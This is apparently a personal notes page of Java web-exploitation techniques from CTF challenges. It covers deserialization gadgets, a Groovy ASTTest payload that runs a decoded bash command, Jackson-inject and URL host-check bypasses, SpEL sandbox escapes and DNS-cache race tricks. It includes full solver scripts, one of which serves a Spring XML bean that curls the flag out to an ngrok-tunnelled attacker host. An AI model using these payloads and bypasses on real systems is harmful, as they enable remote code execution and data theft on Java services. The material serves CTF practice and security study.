it is notable that serialVersionUID of some classes are different between Java 1.8 and Java 21. You can patch the serialVersionUID manually or run your tool on Java 21 with --add-opens. I think too many --add-opens are annoying for exploitation, so I write a simple library magic.jms, maybe helpful.

ini nambahin field static baru private static final long serialVersionUID = 4518184867334648906L;

if there error like this

app-1  | Caused by: java.lang.ClassNotFoundException: org.apache.naming.ResourceRef (no security manager: RMI class loader disabled)

it’s becouse the naming resource ref isn’t imported

the victim must add dependency required for the exploit to work

<plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-assembly-plugin</artifactId>
          <configuration>
            <descriptorRefs>
              <descriptorRef>jar-with-dependencies</descriptorRef>
            </descriptorRefs>
            <archive>
              <manifest>
                <mainClass>com.dimas.Main</mainClass>
              </manifest>
            </archive>
          </configuration>
          <executions>
            <execution>
              <id>assemble-all</id>
              <phase>package</phase>
              <goals>
                <goal>single</goal>
              </goals>
            </execution>
          </executions>
        </plugin>
    </plugins>

Java deserialization magic method

readObject readUnshared readResolve readObjectNoData readExternal hashCode equals compare

Groovy meta programming can be abused to gain RCE

Orange: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

dangerousnes of groovy.lang.GroovyClassLoader.parseClass

package payloads.deserial;

import com.dimas.Command;
import com.dimas.Gadget;

import payloads.annotation.Authors;
import payloads.annotation.Dependencies;
import payloads.face.ObjectPayload;
import util.PayloadRunner;

@Authors({"Dimas"})
@Dependencies({"This is example of deserialization payload"})
public class Example extends PayloadRunner implements ObjectPayload<Gadget> {

    public Gadget getObject(final String command) throws Exception {
        String base64Command = new String(java.util.Base64.getEncoder().encode(command.getBytes()));
        String payload = "@groovy.transform.ASTTest(value={\r\n" +
        "    assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64Command+"}|{base64,-d}|{bash,-i}\")\r\n" +
        "})\r\n" +
        "def x\r\n" +
        "";
        Gadget gadget = new Gadget(new Command(payload));
        return gadget;
    }

    public static byte[] getBytes(final String command, Boolean fusion) throws Exception {
        return PayloadRunner.run(Example.class, command, fusion);
    }
}

Grab anotation in groovy can download a malcious library, so there’s possibility that we can gain RCE from that if Deserialization exist?

A Case Study on Jenkins RCE. Based on past experience, I‘ll walk… | by Adam Jordan | Medium

Bypassing JacksonInject , Bypassing URL+Curl, and some deserialization trick

AKASEC CTF 2024 | Hackernickname

We can control default value of the JacksonInjection property using something like {"":{"admin":true}}

    @JsonCreator
    public Hacker(@JsonProperty(value = "firstName", required = true) String firstName,
                  @JsonProperty(value = "lastName", required = true) String lastName,
                  @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory,
                  @JacksonInject UserRole hackerRole) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.favouriteCategory = favouriteCategory;
        this.role = hackerRole;
    }

We can bypass the host validation using something like http://{127.0.0.1:8090,@nicknameservice:5000/}/ExperimentalSerializer

        try {
            parsedUrl = new URL(url);
        } catch (MalformedURLException e) {
            return ResponseEntity.status(401).body(e.getMessage());
        }
        if (!parsedUrl.getProtocol().equals("http") || !parsedUrl.getHost().equals("nicknameservice") || parsedUrl.getPort() != 5000)
            return ResponseEntity.status(401).body("Invalid URL");
        ProcessBuilder pb = new ProcessBuilder("curl", "-f", url, "-o", nicknameService.filePath.toString());

And this is the serialization, its using custom deserialization

    public static HashMap<String, Object> deserialize(String serialized) {
        ObjectMapper mapper = new ObjectMapper();
        HashMap<String, Object> result = new HashMap<String, Object>();
        try {
            List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {});
            for (SerializationItem item : dataList) {
                switch (item.type) {
                    case "string" -> result.put(item.name, item.value);
                    case "boolean" -> result.put(item.name, Boolean.valueOf(item.value));
                    case "integer" -> {
                        try {
                            Integer r = Integer.valueOf(item.value);
                            result.put(item.name, r);
                        } catch (NumberFormatException e) {
                            result.put(item.name, Integer.valueOf("0"));
                        }
                    }
                    case "double" -> {
                        try {
                            Double r = Double.valueOf(item.value);
                            result.put(item.name, r);
                        } catch (NumberFormatException e) {
                            result.put(item.name, Double.valueOf("0"));
                        }
                    }
                    case "float" -> {
                        try {
                            Float r = Float.valueOf(item.value);
                            result.put(item.name, r);
                        } catch (NumberFormatException e) {
                            result.put(item.name, Float.valueOf("0"));
                        }
                    }
                    case "long" -> {
                        try {
                            Long r = Long.valueOf(item.value);
                            result.put(item.name, r);
                        } catch (NumberFormatException e) {
                            result.put(item.name, Long.valueOf("0"));
                        }
                    }
                    case "byte" -> {
                        try {
                            Byte r = Byte.valueOf(item.value);
                            result.put(item.name, r);
                        } catch (NumberFormatException e) {
                            result.put(item.name, Byte.valueOf("0"));
                        }
                    }
                    case "object" -> {
                        try {
                            String[] args = item.value.split("\\|");
                            if (args.length == 2) {
                                Class<?> clazz = Class.forName(args[0]);
                                Constructor<?> constructor = clazz.getConstructor(String.class);
                                Object instance = constructor.newInstance(args[1]);
                                result.put(item.name, instance);
                            } else if (args.length == 3) {
                                Class<?> clazz = Class.forName(args[0]);
                                Constructor<?> constructor = clazz.getConstructor(String.class, String.class);
                                Object instance = constructor.newInstance(args[1], args[2]);
                                result.put(item.name, instance);
                            } else {
                                result.put(item.name, "Error: currently only <= 2 arguments are supported.");
                            }
                        } catch (Exception e) {
                            result.put(item.name, null);
                        }
                    }
                }
            }
            return result;
        } catch (Exception e) {
            System.out.println(e.getMessage());
            return (result);
        }
    }

Solver

import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask, request
from threading import Thread
from urllib.parse import quote

PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "")

print("TUNNEL:", TUNNEL)

# URL = "http://192.168.183.138:8090"
URL = "http://172.206.89.197:8090/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def home(self, firstName, lastName, favouriteCategory):
        return self.c.post("/", json={
            "firstName": firstName,
            "lastName": lastName,
            "favouriteCategory": favouriteCategory,
            "": {
                "admin": True
            }
        })
    def nickname(self):
        return self.c.get("/nickname")
    def update(self, url):
        return self.c.post("/admin/update", data={"url": url})
class API(BaseAPI):
    ...

def webServer():
    app = Flask(__name__)
    @app.get("/")
    def home():
        return """<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean class="#{T(java.lang.Runtime).getRuntime().exec(
        new String[] {
        '/bin/bash', '-c', 'curl http:/ATTACKER/?flag=$(/readflag|base64)'
        }
        )}"></bean>
</beans>""".replace("ATTACKER", TUNNEL)
    return Thread(target=app.run, args=('0.0.0.0', PORT))



async def main():
    api = API()
    server = webServer()
    server.start()
    await asyncio.sleep(2)
    api = API()
    api.home("John", "Doe", "Web")
    api.nickname()
    build = '[{"type":"object","name":"TypeReference","value":"org.springframework.context.support.FileSystemXmlApplicationContext|' + "http://"+TUNNEL + '"}]'
    res = api.update("http://{127.0.0.1:8090,@nicknameservice:5000/}/ExperimentalSerializer?serialized=" + quote(build))
    print(res.text)
    server.join()

if __name__ == "__main__":
    asyncio.run(main())

Java sandbox bypass technique in org.springframework.expression.spel.support.SimpleEvaluationContext

package com.example;

import java.lang.reflect.Array;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

/**
 * Hello world!
 *
 */
public class App {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue((EvaluationContext) context, root);
    }

    public static void main(String[] args) throws ClassNotFoundException {
        // execute a command
        Class<?> clazz = Class.forName("org.springframework.context.support.ClassPathXmlApplicationContext");
        Object array = Array.newInstance(clazz, 1);
        for (int i = 0; i < Array.getLength(array); i++) {
            System.out.println(array.getClass().getComponentType());
        }
        Object object = eval(array, "#root[0]='http://0.0.0.0:4444'");
        System.out.println(object);
    }
}

We can use BadAttributeValueExpException to trigger toString Tested on java 11

pak-ctf-2024/web_hard_bjd at main · sahuang/pak-ctf-2024 (github.com)

getHost Bypass in java

URI.getHost()

https://4271-180-242-57-138.ngrokfree.app%23@mhl.azurewebsites.net/

https://4271-180-242-57-138.ngrokfree.app#@mhl.azurewebsites.net/

Java DNS cache trick / DNS Evictionp

Challenges : IrisCTF 2025 - CTF fun for hackers of all skill levels

chall name webwebhookhook

from pwn import *
import urllib.parse
import time
import httpx
import asyncio

client = httpx.Client(timeout=httpx.Timeout(60.0, connect=60.0))

#HOST = '127.0.0.1'
HOST = 'webwebhookhook-ef8f02d7f50df889.i.chal.irisc.tf'
PORT = 443
#PORT = 8080
HOSTPORT = f'{HOST}:{PORT}'

URL = f'https://{HOSTPORT}'
# URL = f'http://{HOSTPORT}'


while True:
    r = client.get(f'{URL}/')
    if r.status_code == 200:
        break
    print(r.text)
    time.sleep(10)

client.get('http://messwithdns.net/login/')
# get the "username" cookie
dns_bin = client.cookies.get('username')
print(f"dns bin: {dns_bin}")

set_payload = {"subdomain":"a","type":"A","value_A":"127.0.0.1","ttl":"1"}
r = client.post(f'http://messwithdns.net/records', json=set_payload)
assert r.status_code == 200
print(f"set dns bin to 127.0.0.1")



hook = f"http://a.{dns_bin}.messwithdns.com/admin"

print(f"hook: {hook}")

time.sleep(5)
print("creating webhook...")

create = {"hook":hook,"template":"{\"body\":_DATA_,\"name\":\"user\"}","response":"{\"a\":\"b\"}"}
r = client.post(f'{URL}/create', json=create)
print(r.text)
assert "ok" in r.text

print(f"created webhook: {hook} -> 127.0.0.1")

def update_dns_bin(a_val):
    r = client.get(f'http://messwithdns.net/records').json()
    record_id = r[0]['id']
    print(f"record id: {record_id}")
    update_payload = {"subdomain":"a","type":"A","value_A":a_val,"ttl":"1"}
    client.post(f'http://messwithdns.net/records/{record_id}', json=update_payload)

data = b"a" * 100000

def retry_loop():
    update_dns_bin("93.184.215.14")
    print("dns bin is now 93.184.215.14 (example.com)... waiting to update")


    time.sleep(30)

    # send 1 request to put the webhook in the DNS cache
    try:
        r = client.post(f"{URL}/create", json=create)
        print(r.text)
    except Exception as e:
        print(f"error: {e}")
    #assert "ok" in r.text # successfully updated
    print(f"recached webhook -> 93.184.215.14 (example.com)")

    update_dns_bin("68.183.100.217")
    print("dns bin is now 68.183.100.217 (my site, hc.lc)")

    time.sleep(30)

    # now we keep triggering the webhook?... pray that we race the DNS cache eviction...
    #data = b"a" * 10000000
    #data = b"a" * 10000000
    #hook = "http://example.com/admin"
    async def worker(name, queue, client):
        while True:
            try:
                r = await client.post(f'{URL}/webhook', params={"hook": hook}, headers={"Content-Type":"text/plain"}, data=data)
                #print(r.text)
                if "ok" not in r.text:
                    print(f"Worker {name} got non-ok response")
                    await queue.put(False)  # Signal failure through queue
                    break
                # On success, just continue to next request
            except Exception as e:
                print(f"Worker {name} error:", e)
                # On exception, just continue trying

    async def main():
        print("trying to race the DNS cache eviction...")
        limits = httpx.Limits(max_keepalive_connections=100, max_connections=100)
        async with httpx.AsyncClient(limits=limits) as client:
            queue = asyncio.Queue()
            workers = []
            for i in range(50):  # Create 50 workers
                task = asyncio.create_task(worker(f"worker-{i}", queue, client))
                workers.append(task)
        
            try:
                # Wait for any worker to fail
                result = await queue.get()  # Will only get False when a worker fails
                print("A worker reported failure, stopping all workers...")
            except Exception as e:
                print("Main loop error:", e)
            finally:
                # Cancel all workers
                for w in workers:
                    w.cancel()
                # Wait for all workers to finish
                await asyncio.gather(*workers, return_exceptions=True)

    asyncio.run(main())

while True:
    retry_loop()
    print("retrying...")

Interesting CVE to make a challenge, Java Xalan-J XSLT

https://blog.noah.360.net/xalan-j-integer-truncation-reproduce-cve-2022-34169/

Noeras Solon Deserialization RCE

suctf ez_solon https://www.yuque.com/yulate/sd2qe4/lck4awbn2y0gslbr

[JDBC Gadget] <org.noear.solon.data.util.UnpooledDataSource: java.sql.Connection getConnection()>
 -> <java.sql.DriverManager: java.sql.Connection getConnection(java.lang.String)>
they said "there is h2 jdbc drive in dependency"
JsonObject.toString()->UnpooledDataSource.getConnection()

Another deserialization

https://www.yuque.com/yulate/sd2qe4/af7s0tsqlccm5ipe

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:64, PropertyGetExecutor (org.apache.commons.jexl3.internal.introspection)
get:66, ObjectContext (org.apache.commons.jexl3)
getVariable:319, InterpreterBase (org.apache.commons.jexl3.internal)
visit:1048, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:118, ASTIdentifier (org.apache.commons.jexl3.parser)
visit:1029, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:58, ASTJexlScript (org.apache.commons.jexl3.parser)
interpret:193, Interpreter (org.apache.commons.jexl3.internal)
execute:188, Script (org.apache.commons.jexl3.internal)
evaluate:180, Script (org.apache.commons.jexl3.internal)
eval:45, Test (com.example)
main:30, Test (com.example)

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.